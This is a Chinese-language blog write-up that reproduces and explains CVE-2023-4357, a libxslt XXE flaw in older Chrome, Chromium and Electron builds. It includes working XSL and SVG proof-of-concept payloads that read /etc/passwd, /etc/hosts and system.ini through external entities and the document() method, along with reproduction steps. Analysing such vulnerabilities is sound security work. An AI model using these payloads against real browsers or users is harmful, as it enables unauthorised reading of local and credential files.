【CVE-2023-4357】Chrome-XXE 任意文件读取漏洞复现及原理解析

官方文档

https://bugs.chromium.org/p/chromium/issues/detail?id=1458911

漏洞描述

Short description: Libxslt is the default XSL library used in WebKit based browsers such as chrome, safari etc. Libxslt allows external entities inside documents that are loaded by XSL document() method. An attacker can bypass security restrictions, access file://urls from http(s)://urls and gain file access. With the default sandbox attacker can read /etc/hosts file on ios (safari/chrome), mac (safari/chrome), android (chrome) and samsung tv (default browser). When the -no-sandbox attribute is used (Electron/PhantomJS) an attacker can read any file on any OS.

来自: 1458911 - Security: Libxslt arbitrary file reading using document() method and external entities. - chromium

译:

简述:libxslt 是基于 webkit 的浏览器(如 Chrome、safari 等)中使用的默认 XSL 库。Libxslt 允许外部实体进入由 XSL document() 方法加载的文档。攻击者可以绕过安全限制,从 http(s)://url 访问 file://url 并获取文件访问权限。使用默认的沙盒,攻击者可以在 ios(safari/chrome),mac(safari/chrome),android(chrome)和 samsung tv(默认浏览器) 上读取 /etc/hosts 文件,当使用 -no-sandbox 属性时,攻击者可以读取操作系统上的任意文件。

影响版本

  • Chrome 版本 < 116.0.5845.96
  • Chromium 版本 < 116.0.5845.96
  • Electron 版本 < 26.1.0

漏洞复现

  1. 准备 Chrome 浏览器,版本需低于 116.0
  2. 编写 XLS 文件,构造 XXE
  3. 编写 SVG 代码,使用 document 方法加载 XLS 文档
  4. 将 SVG 代码托管在服务器上访问

相关代码

XLS 文件(XXE 漏的核心代码)

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
<!ENTITY hosts SYSTEM "file:///etc/hosts">
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]> <div><p>host: &hosts;</p><p>passwd: &passwd;</p><p>sysini: &sysini;</p>
</div>

这里写成 XML 格式也是完全可以的。

关系类似于 JSP 和 Java 的关系(不太准确,但比较容易理解),XLS 实际上就是在 XML 的基础上增加了一些扩展的语法,从而可以将 XML 中的数据转换为 HTML 呈现。

因为下面示例的 XLS 代码中,我并没有加入任何样式,所以是可以原封不动的转为 XML 格式来复现漏洞的,但是要记得 SVG 中引用的文件格式要一致。

SVG 文件加载 XLS

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><foreignObject id="xxx" width="1000" height="1000"><div xmlns="http://www.w3.org/1999/xhtml">XSL-Version: <xsl:value-of select="system-property('xsl:version')"/><br/>document() <xsl:copy-of  select="document('test.xsl')"/></div></foreignObject></svg></xsl:template>
</xsl:stylesheet>

SVG 是一种基于 XML 的可缩放矢量图格式,由于 SVG 是基于 XML,而 XSL 早期又经常被用来对 XML 进行一些样式优化(现在大多用 CSS 来对 SVG 做样式优化)。

代码解析:

  1. value-of 语法用于在 xsl 中提取 xml 文档中的值的,如上 <xsl:value-of select="system-property('xsl:version')"/>意为使用系统属性方法获取 xsl 的版本;
  2. copy-of 语法用于将 xml 文档中的节点复制输出到当前位置,如上 <xsl:copy-of select="document('test.xsl')"/>意为使用 document 方法加载 test.xsl 文档,并将加载到的内容复制输出到当前位置;
  3. **document**方法就是此次 XXE 漏洞的核心所在。它的作用就是加载外部 XML 文档,但由于内部并没有做好安全措施,从而导致了这个漏洞的产生。
  4. foreignObject是 SVG 中允许嵌入不同 XML 命名空间的语法,与本次漏洞关系不大。其他代码都是一些 XML 文件的固定配置引用。如果仅为了复现漏洞,上述 SVG 文件可以简化如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:copy-of  select="document('test.xml')"/></xsl:template>
</xsl:stylesheet>

效果展示

第一步:python -m http.server 8888

使用 python 在 SVG 文件所在目录下启动一个端口为 8888 的 HTTP 服务

img

第二步:chrome --no-sandbox

在 chrome 目录下(v114.0 测试版)使用非沙盒模式启动 chrome 浏览器

  • 如果使用默认方式启动,仅在 linux 系统下能访问到 /etc/hosts 文件
  • 如果使用 --no-sandbox 模式启动,在 linux 和 windows 下都可以访问任意文件

img

第三步:http://127.0.0.1:8888/test.svg

在浏览器中访问 test.svg (没有做样式处理),由于是 Windows 环境复现,前面 host 和 passwd 的内容为空,只获取到 sysini 的内容。

img

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/201894.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL面试,MySQL事务,MySQL锁,MySQL集群,主从,MySQL分区,分表,InnoDB

文章目录 数据库-MySQLMySQL主从、集群模式简单介绍1、主从模式 Replication2、集群模式3、主从模式部署注意事项 UNION 和 UNION ALL 区别分库分表1.垂直拆分2、水平拆分 MySQL有哪些数据类型1、整数类型**&#xff0c;2、实数类型**&#xff0c;3、字符串类型**&#xff0c;4…

为何内存不够用?微服务改造启动多个Spring Boot的陷阱与解决方案

在生产环境中我们会遇到一些问题&#xff0c;此文主要记录并复盘一下当时项目中的实际问题及解决过程。 背景简述 最初系统上线后都比较正常风平浪静的。在系统运行了一段时间后&#xff0c;业务量上升后&#xff0c;生产上发现java应用内存占用过高&#xff0c;服务器总共64…

助力企业前行——ScalaSpark最佳实践课程

时间飞逝&#xff0c;转眼间我们的Scala&Spark培训课程已经圆满结束&#xff01;在这段精彩的学习旅程中&#xff0c;你们展现了坚韧、决心和追求卓越的品质。 scala(Scalable Language)是一种多范式的编程语言&#xff0c;其设计的初衷是要集成面向对象编程和函数式编程的…

oracle面试相关的,Oracle基本操作的SQL命令

文章目录 数据库-Oracle〇、Oracle用户管理一、Oracle数据库操作二、Oracle表操作1、创建表2、删除表3、重命名表4、增加字段5、修改字段6、重名字段7、删除字段8、添加主键9、删除主键10、创建索引11、删除索引12、创建视图13、删除视图 三、Oracle操作数据1、数据查询2、插入…

【精选】CSS入门必看知识点大合集

CSS简介 CSS概念 CSS&#xff08;Cascading Style Sheets&#xff09;层叠样式表&#xff0c;又叫级联样式表&#xff0c;简称样式表 CSS文件后缀名为.css CSS用于HTML文档中元素样式的定义 为什么需要CSS 使用css的唯一目的就是让网页具有美观一致的页面 语法 CSS 规则…

Request 爬虫的 SSL 连接问题深度解析

SSL 连接简介 SSL&#xff08;Secure Sockets Layer&#xff09;是一种用于确保网络通信安全性的加密协议&#xff0c;广泛应用于互联网上的数据传输。在数据爬取过程中&#xff0c;爬虫需要与使用 HTTPS 协议的网站进行通信&#xff0c;这就牵涉到了 SSL 连接。本文将深入研究…

Zookeeper实战案例(1)

前置知识&#xff1a; Zookeeper学习笔记&#xff08;1&#xff09;—— 基础知识-CSDN博客 Zookeeper学习笔记&#xff08;2&#xff09;—— Zookeeper API简单操作-CSDN博客 Zookeeper 服务器动态上下线监听案例 需求分析 某分布式系统中&#xff0c;主节点可以有多台&am…

matlab 最小二乘拟合平面并与XOY平面对齐

目录 一、算法原理二、代码实现1、绕原点对齐2、绕质心对齐三、结果展示1、绕原点对齐2、绕质心对齐四、测试数据本文由CSDN点云侠原创,原文链接。爬虫网站自重。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、算法原理 首先,使用最小二乘拟合平面…

Nuxt.js Next.js Nest.js

Nuxt.js和Next.js都是服务端渲染框架(SSR)&#xff0c;属于前端框架,Nest.js则是node框架,属于后端框架。 其中Nuxt.js是vue的ssr框架&#xff0c;Next.js是react的ssr框架。 都是比vue和react更上层的前端框架。 文章目录 1.SSR2.Nuxt2.1 Nuxt的下载2.2 Nuxt的集成2.3 Nuxt…

C#,数值计算——插值和外推,多项式插值与外推插值(Poly_interp)的计算方法与源程序

1 文本格式 using System; namespace Legalsoft.Truffer { /// <summary> /// 多项式插值与外推插值 /// Polynomial Interpolation and /// Extrapolation interpolation routines for one dimension /// </summary> public class Poly…

世微 dc-dc降压恒流 LED汽车大灯 单灯 14V5A 68W车灯驱动方案 AP5191

产品描述 AP5191是一款PWM工作模式,高效率、外围简单、外置功率MOS管&#xff0c;适用于4.5-150V输入的高精度降压LED恒流驱动芯片。输出最大功率150W&#xff0c;最大电流6A。AP5191可实现线性调光和PWM调光&#xff0c;线性调光脚有效电压范围0.55-2.6V.AP5191 工作频率可以…

GPIO模式详解:推挽/开漏/浮空/上拉/下拉/施密特(迟滞)输入

GPIO(General Purpose Input Output)可用于执行数字输入或输出功能。典型的应用包括从/向模拟或数字传感器/设备读写数值、驱动LED、为I2C通信驱动时钟、生成外部组件的触发、发出中断等。 文章目录 1 GPIO简介2 输出模式2.1 推挽输出2.2 开漏输出 3 输入模式3.1 高阻态(浮空)、…

008 OpenCV matchTemplate 模板匹配

目录 一、环境 二、模板匹配算法原理 三、代码演示 一、环境 本文使用环境为&#xff1a; Windows10Python 3.9.17opencv-python 4.8.0.74 二、模板匹配算法原理 cv.matchTemplate是OpenCV库中的一个函数&#xff0c;用于在图像中查找与模板匹配的特征。它的主要应用场景…

网络工程师网络配置经典例题(二)

目录 1、access、trunk 2、配置终结子接口 3、DHCP接口地址池、DNS 4、静态默认路由、接口IP 5、ACL、NAT 使内网用户可以访问外网 6、VLANIF 某公司拥有多个部门且位于不同网段&#xff0c;各部门均有访问Internet的需求。现要求用户通过二层交换机和路由器访问外部网络…

ESP32 Arduino实战Web篇-使用 WebSocket 创建 ESP32 Web 服务器

本文将详细介绍如何使用 WebSocket 创建 ESP32 Web 服务器,解释WebSocket原理与搭建步骤,并附超详细的代码解释 假设我们需要创建一个使用 ESP32 通过 WiFi 控制灯泡的项目。实现非常简单:我们将 ESP32 设置为软 AP 或 STA 模式,使其能够提供一个网页,显示灯开关的状态为…

阿里云服务器ECS经济型e实例优惠99元性能怎么样?

阿里云服务器ECS经济型e实例优惠99元性能怎么样&#xff1f;阿里云服务器优惠99元一年&#xff0c;配置为云服务器ECS经济型e实例&#xff0c;2核2G配置、3M固定带宽和40G ESSD Entry系统盘&#xff0c;CPU采用Intel Xeon Platinum架构处理器&#xff0c;2.5 GHz主频&#xff0…

一种全新且灵活的 Prompt 对齐优化技术

并非所有人都熟知如何与 LLM 进行高效交流。 一种方案是&#xff0c;人向模型对齐。 于是有了 「Prompt工程师」这一岗位&#xff0c;专门撰写适配 LLM 的 Prompt&#xff0c;从而让模型能够更好地生成内容。 而另一种更为有效的方案则是&#xff0c;让模型向人对齐。 这也是…

论文阅读 Forecasting at Scale (一)

最近在看时间序列的文章&#xff0c;回顾下经典 论文地址 项目地址 Forecasting at Scale 摘要1、介绍2、时间业务序列的特点3、Prophet预测模型3.1、趋势模型3.1.1、非线性饱和增长3.1.2、具有变化点的线性趋势3.1.3、自动转换点选择3.1.4、趋势预测的不确定性 摘要 预测是一…

最新AIGC创作系统ChatGPT网站源码,Midjourney绘画系统,支持最新GPT-4-Turbo模型,支持DALL-E3文生图

一、AI创作系统 SparkAi创作系统是基于OpenAI很火的ChatGPT进行开发的Ai智能问答系统和Midjourney绘画系统&#xff0c;支持OpenAI-GPT全模型国内AI全模型。本期针对源码系统整体测试下来非常完美&#xff0c;可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。那么如…

CMSIS-RTOS在stm32使用

目录&#xff1a; 一、安装和配置CMSIS_RTOS.1.打开KEIL工程&#xff0c;点击MANAGE RUN-TIME Environment图标。2.勾选CMSIS CORE和RTX.3.配置RTOS 时钟频率、任务栈大小和数量&#xff0c; 软件定时器. 二、CMSIS_RTOS内核启动和创建线程。1.包含头文件。2.内核初始化和启动。…